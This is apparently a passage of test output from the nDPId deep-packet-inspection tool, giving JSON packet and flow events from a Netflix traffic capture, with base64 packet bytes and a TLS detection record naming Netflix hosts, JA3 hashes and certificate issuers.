+00427{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1970,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":900068,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0xtZAAEAGakzAqAEHNr8RM8\/SAbtTxg+aXDZSVIAQD94jYQAAAQEICh9lMLetili9"} +00601{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1972,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":911881,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"gCqoTGHM5JjWH70UCABFAACy7ZZAAEAGQw7AqAEHNr8RM8\/SAbtTxg+aXDZSVIAYEADVhwAAAQEICh9lMMGtili9FgMDAEYQAABCQQTfCEMwYSUMo8Uy6B5K50NJWMGvGAAQ0EIlegJzbTKhFbxlsfhf5HUDCKLK3QGBvdXrKr91nA32OkZqkuvlFHF6FAMDAAEBFgMDACgkRg\/TLOi\/NQH2P05EpRdVxq9ff1iwTtmeyWu\/4CAsiItUOINazg5W"} +00501{"flow_id":47,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1973,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":923149,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABn1XRAACkGcls2vxEzwKgBBwG7z8mqa5erKbVYoYAYAD2BhQAAAQEICq2KWN0fZTCUFAMDAAEBFgMDACj\/sh\/lwwobLg4jG6KP4IW8PBSF7BNm\/qrpAYHuyAYXvrrcXhJSn\/wc"} +00430{"flow_id":47,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1975,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":926401,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0rDNAAEAGhO\/AqAEHNr8RM8\/JAbsptVihqmuX3oAQD\/5wXAAAAQEICh9lMM+tiljd"} +01782{"flow_id":47,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1976,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":927930,"pkt_caplen":1058,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1058,"pkt_l4_len":1024,"pkt":"gCqoTGHM5JjWH70UCABFAAQUUFhAAEAG3OrAqAEHNr8RM8\/JAbsptVihqmuX3oAYEAB5\/gAAAQEICh9lMNCtiljdFwMDA9v4cL4jc0rQ2zoQmeCcqZZ2VC++xeJg3m4R7yMv5n\/zbHfFaIsLFGhNwfjH0Ip1Pav7MmpvCkeD1oxKlrOlfQN\/q+g\/fPFRjb+VKcfuclTHcWxRrs0rF6yEIMCOdkGNliUagk4HPBSyTvAVdLUYz6607R+oBFfJL4DIHKWA1xcpa0TiHK4Uv4ltRWbzrp5BzxemwmZO4TfovgqiwfcEqIp7IblJKt2XmmaJOOzvvIafHXCK5inkWxofOmpUm7njAgGWe\/jKxiLNlRGCMrm6YWp8bIFRovBox0W+HVP5z\/E4LQNlcUJ4dVIozuJU02lGDWDzIjK23o3421jrx0kqbLqvRBxumYEnPgVzPKVyXD2urdGLmPXGeNICK2zfgocfti\/a4s7l9dVoPqbVe\/sIUNwStAKF0T8sMJxhTUKKr7ASw7nzBAtMrTmihfX+g75UyVbNXVddaVeazxCBw\/CZncMAAihaJ6+uePlX3bau+HktmvoVtXtL+dEOkugyrR6LX2fQUIaXrRebgN73Y\/p1UtHww95DbKnZ\/qe0lfLU27Ycxr9t3nQW2HfdK\/Qu1yj6oe9xLLQbBKm3N5NWihaOCapdShpJ3kPaMbRUOiojFrPCuiVAVIVkerEwUOdyVC1Vy1LwLGsQO5yb7IZSJ6s11tHqGzr4xLkLfDDgbS215cBFoKUeO7uBTkzkat\/wg3KEALIA0I9RikIs6pqDrnqbEvl48L21A+iCtqLpKID\/3OqQsyWvC54pFEQxus8G9MGS6RWuhfw31vyN0MNNWip8WsBHrLMSi3f7R9JoW1WKPHe9pp+1QXDKsncApmAJnwhVHUtpVSHMjjGVCq+udM\/NHHOkVj3SvccTl92y+bGXbkMwLl98kMSjvdAUUn5+ewNgDgpZv6HqS2I5IlSMSTxcoMAn5FKfuaoba1Yf+JOlLc+\/2rbAK1Z4xovyjEKTO285pgeMzH1W8F9poS55Cq9zSykCjnjYncWV\/Guh92f9cfIYjtnx0eDxmWWYsSFW2\/JBk2SOrigFYUYRMFItUzWb8Le7EtQiAmfo2ZNcb43MXFVSbF\/5Ut\/Emkf9II5ZJJDU5U61vK74BvTz2bytqwGZGUn\/rjvbDmgYyzxShstr5PbLTH6OcBCRTyxXBA1ZZmlu0y5G6mi8SaulAyLD3S5ChQ\/rVfMhnRfakJNjr4wrS0HUh6mnpZ05viGyegfb+m3PAVd+wDjP1gjBohcVKllb8RaWdN627tH25mNsPZjEvZcXtKsQrLXexhsxa0XmIHiUyvV6FqULD\/XSR\/PUJmXXGfASqupIqKlawg6w6fw="} +02382{"flow_id":50,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1977,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":950196,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcGgdAACoGFiU0JST8wKgBBwG7z9Nfgz\/GxPfWeIAQAEuoUAAAAQEICoWlIB4fZTBIAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EEtKQb5kZrHc8HXCFU1gEUTuaMgOCIymfrjOs6OYrf+Py1It3F2GkHx6bSJGT8kH2j0vUz5qKgS+hkJ0XRWlim0AQBAQAM6HZeeWCZWR6nk7pla2FlBXPiJZGBj6tQwfA6Tq2Z2xICK1s3TJmx01s3x9kJLiyo1YpwENiKKGE\/myeVJTK6s5Z6yiK\/tuk\/8EgC0TG+DnwjxGXMEC6skguDiCseteDvC8F2AK0="} +01248{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1977,"source":"netflix.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":7,"flow_first_seen":1484319064711,"flow_last_seen":1484319064950,"flow_tot_l4_data_len":3369,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.37.36.252","src_port":53203,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"ichnaea.netflix.com","server_names":"ichnaea.netflix.com,beacon.netflix.com,presentationtracking.netflix.com,nmtracking.netflix.com,customerevents.netflix.com","ja3":"c07cb55f88702033a8f52c046d23e0b2","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=customerevents.netflix.com","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"50:D6:DB:AF:1D:A3:83:52:E6:0E:15:8F:98:78:EE:2F:23:FD:E2:3F"}} +00428{"flow_id":50,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1978,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":953220,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0NEFAAEAG67LAqAEHNCUk\/M\/TAbvE99Z4X4NFboAQD9JEGQAAAQEICh9lMOiFpSAe"} +00497{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1979,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":977968,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnENFAACoGNf82vxEzwKgBBwG7z9JcNlJUU8YQGIAYAD3qcQAAAQEICq2KWOsfZTDBFAMDAAEBFgMDACg+2BRXYHRs8uWQw0M0x7seJbudejY5BhKqTsd5HgOSeEvSGfvmpXBl"} +00505{"flow_id":47,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1980,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":978926,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"5JjWH70UgCqoTGHMCABFIABq1XVAACkGclc2vxEzwKgBBwG7z8mqa5feKbVcgYAYAEXZ2AAAAQEICq2KWO0fZTDQFwMDADH\/sh\/lwwobLw85UC1Uksp7fuu0we\/RHQwNNnFAHfUkNGl7FVoDfYEgXfgyQ\/1yEsPp"} +00429{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1981,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":979506,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0o+FAAEAGjUHAqAEHNr8RM8\/SAbtTxhAYXDZSh4AQD\/4iGAAAAQEICh9lMQGtiljr"} +00429{"flow_id":47,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1982,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":980293,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0SiVAAEAG5v3AqAEHNr8RM8\/JAbsptVyBqmuYFIAQD\/5sBAAAAQEICh9lMQGtiljt"} +01779{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1983,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":981538,"pkt_caplen":1057,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1057,"pkt_l4_len":1023,"pkt":"gCqoTGHM5JjWH70UCABFAAQTyGpAAEAGZNnAqAEHNr8RM8\/SAbtTxhAYXDZSh4AYEABmjAAAAQEICh9lMQKtiljrFwMDA9okRg\/TLOi\/NkuVZax1J3vlWW0XX8g4a+n+6QRK73CknPQKxC1HT4N+2kwt5COPqfzJhqRt0\/Y+q9VAvCtxiZhoEZhj8dJMUqzTQe5B1R1r0MesnReLXSbzHx7Tdg9UT8afBUygq0VfDr26LJ8j7WIUXWpVta\/1XR1GWdwrPEpV+YjkWlgp548VkhwjOuD25RYgzF9gmJw4u3+nC45MgeFdZrsUyc8ElVONmLtgMoAsG+hlA6xZ2uRJUbyhxISeXcJqOwbglgEwPQ1NXigvgOVkLQCgAdmtyZmNnLotYUdCJo78vySdZQ94bwOcpQvYHw56mFZc3sImsCoQqkpQaaQamv1PJMAQuQ1h8qTOy1+zWYijHhApcnKeTGoxvbDDIzAaa1WyvtHYoSoXtjghGtY++URDz2mET+4vaH8JQmum7NjXaNgXUvl106G\/9bvz60\/VLT2+8iTCkSHsuCtanGlrGi2O9HETUUYHKJHoFYP+op0l4YSutOCSZrHbFfI+5yw7ImZXoflSWWNFRX12JSl2S8GYOPOthW7hAwfQxHF6RgY1R4F8xna26yroWhYF0mal0RNs2yvgf5EQU90D0n9vvKyyA2b25t97v3KVngogk0Q9n\/Ef7cu8JJaDd+tKKyIhj93DTYh51CkOQ\/eaUhvRMJaORLnijnpDXwobPXQG5iEoBCoj5NOfIsBcyi67XnZ9jlhln1KBei0PKKKD8FXVARGby+AENQbYADEOZHZpIGm4qdS2roimtAwv+YO7olUvJqIMwKBe0NctV+Dsj\/hHMpEwo4w9a99uH8NxS4FW21azl6aIJatgWGt6B5xa7ECOrX8Gb5\/z+g56hk90054Tj83iKn75C+mtEG0tXSUrE\/JmjFMjnthsuYBeh8khgvW0A10EGsyV8toBYzNMOY+TjtWldPSLEayo8aHchjyXMRIZEi746\/ZEGWuiEIiO5ivosCa\/Ml62byLw1Ueaow3oKaLblhrcOf\/8mPmd46ij\/08iztdEx6kAwjPzwNYAQ8BcqseWWVnenERIvyj0WyHFnesFxJKUuPjdGZY\/ljDqTvgG2BgZO2B20oPCJuXLfJ7xDwPFbSVMGyMdpGROl\/lwM3BF8VpEqUMKdw20vVVqgx2O0sjetKTTMu4RZYO9ElFjx2ZrhpVHqNEPsTbXnfafhmpuWPL+dMHpmtxS4Mm9FA2SBZu\/\/pCEhrJyJ8HuxehUEE203xGIkd322zFQTjH28ryd\/zFmQYkln8ngdAVpNV68ijo9eg0bbT\/IVBRNUfkBPknB3KeIbYyXQ9twCsw074eB3duLF5Blpw=="} +02400{"flow_id":47,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1984,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319064,"pkt_ts_usec":982502,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXcqjFAAEAGgUnAqAEHNr8RM8\/JAbsptVyBqmuYFIAQEAAIRwAAAQEICh9lMQOtiljtFwMDQBj4cL4jc0rQ3NiRSkOmx\/uG06REeaBEuj1\/PN8NKANEgjzo7j1T4JAYh9YSObmuNymdaE6+prxxR5sDJlK7R5Jc2ZZNeU5nZPiNvuS4k0xOcZ5U9CcXe+hze0X+mhUPDM2L+dQY\/5+flBJio9JDi3ExXxGfiivDMCTU4dVuAG1sHZJcun4hrdZjZxrLaH6WkhrGINGznnBarl9CXEmrq6mRYvBGhelYCQxzCr80xC6HHvCX8\/XwbuVlw7EQcxDQ9++1f2DSfyCVpo0bYNynCjShPBnwxK\/GIUp\/kaWBn0V3FS1ZdfjFOcRQ8LksAmGLg91rbvDuHMRi5b\/n3TLxNcDhLvWBwuDJXGD2XJXkka17fD5JGbQHIBrAqP9oU5XFNKVFQ6kCai2FYMEPIvrfv5tXoA2TQ468KxQdhGonKYTiAM3lAC\/\/GNONoGCjPcSKdIp96uX8CUalBAY3OHElp7YyisbuwAmEXU8F5RVgW6qvuet045asdQh8MII9jTtYqrufDaAghu\/+XnfMMYzJURbtN12siBgoL5S3NZhAEZJS44AbMz6HyOnR3q9eUMPJZsW9Ku6CZBBoGPMoR6nscFDGOuSYt34oteFQjpv0I7J28dUe8TKVHzZidJNKguL8065w2xAX9Kx1Wbg9NakGfclYz0sZpcLsDLei4c\/GEpIqWN8H7r6QJIXF90b8o60piYh7FY7krCOExUM91pWQJ6OITBT1Sb\/yBMtiz3P\/LotZloglTprcNKfOT64sv+rySJwVa2ptXAJjlh8J5B\/9qf\/MFD1ogFM+ClE2bqagj4uO+QfVPrCNLwPxVDRcayhBEEZoGH63vhDG\/7O+96c0zbwcZGzYAboabqbHThMq9h+xhUG8qrvPUnEIIN85AhY7P\/f+xVYIut7AaRmmRGeKsYD4UnsrTLkc1fV4pxOhBd8Y08Wli53a0ldRBAPIvfiKpAbhzYViEC+dIchZySBF+KvOqyrFI1t5usdI2M13uepwbIM4scEXdqJoq9a4EpivpPDrgr535wnQ0SW6G6UZcxFFlhxsHP6UcJUlAWMnR2RHU5Ig9L6kWS5++tnt7X3NOAIx4cg8vtubn9sBkj7uiZdi8VRubGks1x8czmc8e+HVJ1S7sxC4HfvXYFenexAHMcgO\/aShZQ+y7jxRELA7cPrrpTrBgmucnlJvgtEjJjORRMOaGFL\/GJULU\/fN6LCLA50Ek2NJT5tw1CCe+lP5Nopm60e0OULPqtMhviz0x95oZWBYhO4CMjOvSpY8q6gd3FpPhB2\/45d4G1ynxXjr6CPt8s0bRpc\/kkewjgirjS1QpmRVvUnAnkAmEPp+gdIY3wGq2WbVyfrZn8QN2c6k4os73VKHsHywqOIG+8Gow1OKRgOlww4dykJoZ7EYA0g9JZLyehaqpZzFDrFegOeDhx8KZTqa0hsuZ798Jty18fdNal8rS\/sFczNHgS4OGkRonl2StU5BdzuTpcGCkYSK90F1mT5oXCPBm\/npwxhVCqQZwY9MTwDA6ypPm2XKpmXxuk9Z5e99GBN9n\/6ZPObHtRQfpWPMY8U7GHJiiINFBA8qN\/jO\/ip64BC5M1lkTbxl+hlxiRFnHhJQ7hLoW\/+jBl0U6kCiFe66jlSScvVjzepFnH0uzK4yD11LVnlAr3BGzj4dhm8RaVRfz7qydA2\/Zpnnj\/95NtlYgmSIroD1\/9icV5NVcrWT8ZV9nPWzZrdGodKy3FjINlBGXKCS3bcNFyZ9JihrHlBjAyY9M8CjqxX0wulCK06FEkU8hPCmgKv0GIK1bCtdyOHpA7z7HZ+DkIwfhKyqBheQOjtGC0Af+cS\/Zgwm4b043w+Fgqsn6sllRmz0kwHBZ3bBKbFAAPtVJ8me0RVqpU8mOFyyVz5NQCDK8ws7+oEmfjevB4GECAq1v6\/bZ\/Q="} +00500{"flow_id":48,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1988,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319065,"pkt_ts_usec":35399,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"5JjWH70UgCqoTGHMCABFIABqENJAACoGNfs2vxEzwKgBBwG7z9JcNlKHU8YT94AYAEV4ggAAAQEICq2KWPsfZTECFwMDADE+2BRXYHRs86Z9iZXhMgWB+dYzlbHq7YyBIXhj7U+r8QAuKpnp8eYguRJ5eoMsfM1Z"} +00429{"flow_id":48,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1989,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319065,"pkt_ts_usec":37339,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0d+NAAEAGuT\/AqAEHNr8RM8\/SAbtTxhP3XDZSvYAQD\/4dvAAAAQEICh9lMTitilj7"} +02404{"flow_id":48,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1990,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319065,"pkt_ts_usec":39084,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXczuBAAEAGXJrAqAEHNr8RM8\/SAbtTxhP3XDZSvYAQEADyYgAAAQEICh9lMTmtilj7FwMDHZIkRg\/TLOi\/N\/ASr990uuEYix9Bcw930OM11QuiXZ4ak1xsGbzMLhQgUbO+UJlhYeE4FPIa1h1P\/QcEQhdGNfC6eGPIuQ23BlzN\/AEgKSfYBsWVWBae\/76ZjbfjHkhgKgY5eTbgQe2wFUJTsWfScbYOHsHFKG\/xH48Unz5+ltd\/wN9Qr3hazUsw8QGz03nQycKDqR2P5xAUPUnJb\/es64I5lWH8ilwyWvRFnjE0MhOmhE5GHNTFxvQbJNbzotTVvIa8a2vYaJTKUSQilZlBRd40MNAP1IwDnNaLHf4sQ2w2AJb67dYnn\/6f6KAsPpW8AVJNuBRRfXg62b3N98lwrkLXhdO7VhFP2Zbv2ZQ1dJ51tTYc5SieSEDBLTB7f502WjG85pNYQGzFbIZQaJW56Rlg9f9ff+U1tg95y4yEIADBwIOrLITYT8pK0XoRiWXpxl08y0cZymwUeiREl\/68hZD1Qmhc7iiEsSDviLbND5WwPyKTIiAR0Ms3lnep70r96gGjG1gC9hfJ2b4W10i0hJr9eZiOjbxtbEMfE0TdikD6KF+b3UrBuftQSxkVL13QTjlRPdDwcxZU83AdS56u08JFtYeqIx6HCECpnf6uUC3YtIJ4LBnWAojOOoM56zy8iz1fD3nU12ONp1tDNIpViYgbHskhel1rILINdfMEBU+odQD++8HbkFFdtQjgpK1F4OBUZvruQnZDPxVULV3AemIru2JWm+AFfhIojjUXRjW8mHzwXAg\/EtwLNiGhrx0gok\/ryndb6PAobNNueGQGsBTvGrg4a34F\/+TJsyqIVI4TIk31vPcuo6e2XxnggDwm8c4db88ry0mM4GDpTZDyKV6vyjAKjZFLvFbvc8alyRLsRGORHh05X0DDtogXhUL2\/WDnH9M1oleh\/ifCMpfQbSEUBKoUzP\/x5REu1h\/EeTBrhAORcLU9HQpqXcNu03+kFMqTzdC73VubHr6kMzIFnDVSdtM+1UORgfvjMIYduo8bCdJRjj04RShfelXld2RZSYfRlvbP\/dW3ceTztU7g6aERG6WEDibRcXdlPmvUKspYwfr+UuKEsxSLTBoZ+GMYZ+YZ6GgFJYS8\/Ij5KBpB5rRiZGU7Rm3zwz6VxZh4\/63nx5lWO0sMMyzEvNHmI6tixQ9aJwGM63Rjaqolu9MgkjD6lRRS7uT\/wor\/Vzr79pSdnX2BfOwEAXfa30Hl1QwriSBbb4rRSpbZNQmhIY3gsaydM5ABzfRX8pOsGYtjvYIrrM+YUngF1BekgYoC0+uxG80ekWSqAXoNENMJo6UYe9GQPjBZCQBM\/IO1\/kErXSsGFhgjOMfX+3eXVQx+vKO38G87LeJgG8FqvwOY59Wx990mGJgajLDxmt3urzKQeQxac2ApkLOAE\/2YBExo0kswQ1Kf0mKlHN4notjzwB7BpS4iu5q4WkAm+WwyTEuGUa9qnVr+\/4X21FY9t3saN9wpca\/G4pVOAcysYNbtKW3wM3eHQXDTP5o6g7x9o0y1fSeW863ISND2BeYddGSRhhmCZguAkM\/+NVGTxFXDcRcs1cWvUGSjc4VNn5N5kBXP0WXBC3D3Mz8MoT2ac7YA9pdmkcD0LgJtHclo8xpIQKBiYjqX3cJvQYu7dA91b9O2q1CiHgVdbE7hMHW\/86pw6\/T70k9Q\/bD6cC75hNPmAuZ0saU2JQ9qaPzNt5qJCaFnlHK22X3S5kS9\/3ujG0X6qnPV2UkS808OW4PWjAjpY0PBt2dnID1pC9iFlrOnot+L\/UUzEo4NNDebBh+z7JmKw2LeoSQFTvggpfxp90oF29kOAGd\/tjBS8+pHn+4p5uEXdFqr4W1r293iOqnflB4qVQUSIvRKOvxrH\/jXlQgLVHr7XjHUjGEnz1ksjW37xjnbTWcvgd\/\/a91tlbCP2H1ZDkGcnc\/fxYs="} +02391{"flow_id":45,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1997,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319065,"pkt_ts_usec":75761,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcAAFAADgGX8oX9gOMwKgBBwBQz78\/hrJWawM3jIAQCALaCAAAAQEICm8f76UfZTA4BmEKFIMChdzgIZLwt\/z+u4zV8dcwQrOkpnBPput63CrgAVssCcvt+fTi00JWCwy54x1bY1hW1Ls2shatTE71c9kxAG61LdGYz9NtXYhC5VtwLZvx2tLCkkDBPe4b8DRAIrAAIxAAEvR7M57DKyDATY4hVADTAQV1ARasOArGWyghB2TBYmLo\/zNOAAht0a0ACs\/VasVV2UKhjfz95DO9f1QXNjP837mETlPoq6KuwFnsb\/77tvKlqY6vL1ZmqgtV+36nuXR6Suohd6vcdXuhErG7uLNXQ9t1+Cs9bLBceb5yYw1t8TTDO73dB7X5Pu2nHGW9LKonQWoBqCWELW6RFA5i6NyM\/weHDGNJ3RvI6v\/eczZZU6k76ldXtO0adlZakoO+1vVa6gEhO0QACAABAAAUAqL8TbLiYGo3gm\/YieBCCqoycTaiIswpqgnDgH0hG5Sd1MLDoUlYSnEottmQWnA93lqgvfBZBmmDurlcsU6fNXKgwxXfkWHTlH7eDSR4YopKjWy3NdbcAialFELKT0y\/284AKLEGEFZcm03CHAkYBoQgGlEj\/PerCGbtElngVVmm8XWEJVZ3z2I0Ga6THopyHCpJwsYztlnN8atDCMux9IyouSWHmf7PoxjleloLkRO7qdHLGYRCNRVqBBR30+pbToKjCbhQlRqpuAKIv097OLu\/l7ai9VWBSqdEzZNUrXX7\/bCUrJWpiG5jcp3Fy7M3PnjovVk8d2EjGFw4UholdpgjV1Wazr95gpQZyusACO\/5HcCAQEbySuDGAAqlbgAYHYVJApIgmCZhMuCt74MW4v3J0IXmhY1zqLHFsNTljMnCKI8pBL00EQAHjm9gAGVeLQzOA3UOhTrBRpRQsY35OWUo4vk+djIeUoy690vMoTe+wCH8\/78OF6phdAxKXzpNObj